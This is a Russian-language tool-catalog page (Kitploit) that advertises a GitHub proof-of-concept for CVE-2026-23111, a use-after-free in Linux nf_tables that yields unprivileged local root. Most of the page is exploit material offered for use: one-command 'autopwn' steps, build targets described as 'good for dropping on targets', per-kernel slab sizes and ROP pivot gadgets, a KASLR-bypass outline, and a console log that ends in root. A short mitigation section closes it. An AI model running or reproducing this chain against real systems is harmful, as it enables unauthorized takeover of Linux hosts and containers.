Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-23111-POC-noddlenpottato — CVE-2026-23111 nf_tables catchall UAF — непривилегированный LPE для Linux 5.10-6.18. Самоадаптивный эксплойт с обходом KASLR, произвольным чтением ядра и ROP-цепочкой. Поддерживает Debian, Ubuntu, RHEL, Fedora. C/Python/Rust + autopwn. | Kitploit
Инструменты/GitHubGitHub/knz-source/cve-2026-23111-poc-noddlenpottato
Повышение привилегийЭксплуатацияЭксплуатация Бинарных Файлов
GitHubknz-source/cve-2026-23111-poc-noddlenpottato

CVE-2026-23111-POC-noddlenpottato

CVE-2026-23111 nf_tables catchall UAF — непривилегированный LPE для Linux 5.10-6.18. Самоадаптивный эксплойт с обходом KASLR, произвольным чтением ядра и ROP-цепочкой. Поддерживает Debian, Ubuntu, RHEL, Fedora. C/Python/Rust + autopwn.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
6428 дней назадЕщё не проверено

CVE-2026-23111 — noddlenpottato

nf_tables catchall UAF → LPE без привилегий. пользователь становится root на большинстве ядер Linux 5.10—6.18.

автоматически адаптируется к целевому ядру — определяет смещения структур, резолвит символы, находит ROP-гаджеты, определяет slab-кэш, генерирует эксплойт под конкретную систему, компилирует и запускает.

nf_tables catchall UAF → LPE без привилегий. обычный пользователь становится root на большинстве ядер Linux 5.10—6.18.

автоматически адаптируется под целевое ядро — определяет смещения структур, резолвит символы, находит ROP-гаджеты, определяет slab-кэш, генерирует эксплойт на заказ, компилирует и запускает.

Обзор цепочки эксплойта

exploit chain

Стратегия переиспользования slab

slab reclaim

Уязвимость

EN: инвертированная проверка genmask в nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). во время отката транзакции обработчик пропускает неактивные catchall-элементы, которые нужно реактивировать, и обрабатывает активные, которые не нужно. это приводит к уменьшению chain->use без надлежащего восстановления, позволяя DELCHAIN на всё ещё используемой chain — создавая UAF.

PT: инвертированная проверка genmask в nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). во время отката транзакции обработчик пропускает неактивные catchall-элементы, которые нужно реактивировать, и обрабатывает активные, которые не нужно. это вызывает уменьшение chain->use без надлежащего восстановления, позволяя DELCHAIN на всё ещё используемой chain — создавая UAF.

ошибочное условие:

root@kitploit:~
// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
    continue;

// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
    return 0;

Что вы получаете

  • произвольное чтение из ядра — чтение 8 байт из любого виртуального адреса ядра, без ограничений
  • обход KASLR — утечка базы ядра через переиспользование освобождённого имени chain в seq_operations
  • полный LPE — commit_creds(init_cred) через ROP-цепочку с KPTI-безопасным возвратом в пользовательское пространство
  • работает от непривилегированного пользователя — нужен только unshare -rUn (user + network namespace)
  • работает в контейнерах — поды kubernetes, docker-контейнеры (даёт root в namespace контейнера)

Затронутые версии

ошибка была внесена в 6.1.36 (бэкпорт) и существует в нескольких LTS-ветках:

это покрывает практически все крупные корпоративные дистрибутивы Linux, выпущенные в 2023–2026.

Быстрый старт

root@kitploit:~
git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py

или пошагово:

root@kitploit:~
python3 checker.py --detailed          # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py     # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py        # find ROP gadgets / encontra gadgets ROP
make                                   # build the exploit / compila o exploit
./exploit                              # pop root

Структура репозитория

root@kitploit:~
.
├── autopwn.py                  full auto — detect, extract, compile, exploit
├── checker.py                  vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c                base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│   ├── exploit.c               C exploit
│   ├── exploit.py              python wrapper with retry logic
│   └── exploit.rs              rust port (compiles static with musl)
├── scripts/
│   ├── extract_offsets.py      BTF/pahole offset extractor
│   ├── find_gadgets.py         ROP gadget finder (objdump/nm)
│   ├── slab_check.sh           slab cache analyzer
│   └── install_deps.sh         dependency installer
├── img/                        diagrams
├── Makefile                    build targets (C, Rust, deps)
├── EXPLOITATION.md             deep dive into the 5-phase exploit chain
├── DEBUGGING.md                step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md           edge cases, bypasses, pitfalls

Ключевые технические адаптации

Размер slab имеет значение

sizeof(nft_chain) варьируется в разных сборках ядра. неверный размер spray = тихий отказ:

root@kitploit:~
debian 6.1.172:   120 bytes → kmalloc-128
ubuntu 6.5.x:     136 bytes → kmalloc-192
ubuntu 6.8.x:     152 bytes → kmalloc-192
debian 5.15.x:    112 bytes → kmalloc-128

спрей userdata ДОЛЖЕН использовать точный размер структуры (не размер slab). autopwn.py обрабатывает это автоматически через pahole.

Pivot-гаджет различается

регистр, содержащий указатель expr в месте вызова eval(), меняется между версиями ядра:

ядрорегистртребуемый гаджет
6.1.x (debian)rbpleave; jmp __x86_return_thunk
6.5+ (ubuntu)rbxmov rsp, rbx; ret или push rbx; pop rsp; ret

неверный гаджет = мгновенный kernel panic. всегда проверяйте, дизассемблируя nft_do_chain.

Retpoline

современные ядра заменяют все ret на jmp __x86_return_thunk. поиск гаджетов должен это учитывать — вы не найдёте pop rdi; ret, вы найдёте pop rdi; jmp __x86_return_thunk.

Сборка

root@kitploit:~
# C (recommended — fastest, proven)
make

# Rust (static binary with musl — good for dropping on targets)
make rust

# install build deps
make deps

Доказательство

root@kitploit:~
$ id
uid=1000(user) gid=1000(user)

$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root

# id
uid=0(root) gid=0(root) groups=0(root)

Документация

документописание
EXPLOITATION.mdполное описание цепочки эксплойта с кодом, EN/PT
DEBUGGING.md

Меры защиты

root@kitploit:~
# update kernel to fixed version
apt upgrade linux-image-$(uname -r)

# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0

# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf

Авторы

исходный анализ уязвимости из nf_tables advisory. полная разработка цепочки LPE, анализ slab, адаптация под несколько ядер, исследование pivot-гаджетов и создание autopwn-инструментария выполнены независимо.

Скачать инструмент
диапазон ядерисправлено взатронутые дистрибутивы
6.13 — 6.18.96.18.10fedora 41+, arch (rolling)
6.7 — 6.12.696.12.70ubuntu 24.04/24.10, fedora 39/40
6.1.36 — 6.1.1626.1.163debian 12 (bookworm), производные RHEL 9
5.15.121 — 5.15.1995.15.200ubuntu 22.04 LTS, бэкпорты debian 11
5.10.188+различныеdebian 11 (bullseye), производные RHEL 8
как извлечь каждое смещение и гаджет для вашего ядра, EN/PT
CONSIDERATIONS.mdкрайние случаи, обходы, контейнеры, SMEP/SMAP, обнаружение, EN/PT